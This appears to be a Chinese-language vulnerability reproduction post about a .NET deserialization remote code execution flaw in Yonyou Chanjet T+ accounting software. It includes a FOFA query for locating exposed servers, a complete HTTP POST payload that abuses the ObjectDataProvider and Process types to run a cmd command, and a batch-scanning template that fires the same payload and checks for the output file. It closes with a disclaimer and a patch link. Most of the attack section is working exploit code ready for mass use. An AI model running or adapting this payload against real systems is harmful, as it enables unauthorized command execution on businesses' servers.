漏洞复现--用友 畅捷通T+ .net反序列化RCE

免责声明：

文章中涉及的漏洞均已修复，敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行负责

一：漏洞描述

畅捷通T+是一款新型互联网企业管理软件。 全面满足成长型小微企业对其灵活业务流程的管控需求，重点解决往来业务管理、订单跟踪、资金、库存等管理难题。该产品存在.net反序列化可导致RCE

二：漏洞影响版本

用友 畅捷通T+

三：网络空间测绘查询

fofa:
app="畅捷通-TPlus"

四：漏洞复现

POC:

POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
X-Ajaxpro-Method: GetStoreWarehouseByStore
Host: ip
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 597{"storeID":{"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","MethodName":"Start","ObjectInstance":{"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","StartInfo": {"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","FileName":"cmd", "Arguments":"/c whoami > test.txt"}}}
}

访问执行命令的日志文件即test.txt

执行ipconfig /all

五：批量检测

id: changjietong_GetStoreWarehouseByStore_rce
info:name: 用友 畅捷通T+ GetStoreWarehouseByStore 远程命令执行漏洞author: mhb17severity: criticaldescription: 
variables:file_name: "{{to_lower(rand_text_alpha(8))}}.txt"
requests:- raw:- |-POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36X-Ajaxpro-Method: GetStoreWarehouseByStoreHost: {{Hostname}}Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: closeContent-type: application/x-www-form-urlencodedContent-Length: 577{"storeID":{"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","MethodName":"Start","ObjectInstance":{"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","StartInfo": {"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","FileName":"cmd", "Arguments":"/c whoami > {{file_name}}"}}}}- |+GET /tplus/{{file_name}} HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36req-condition: truematchers:- type: dslcondition: anddsl:- 'contains((body_1), "System.ArgumentException") && status_code_2 == 200'

此脚本来自揽月安全团队

六：修复建议

目前官方已发布补丁更新，建议受影响用户尽快安装
https://www.chanjetvip.com/product/goods/detail?id=6077e91b70fa071069139f62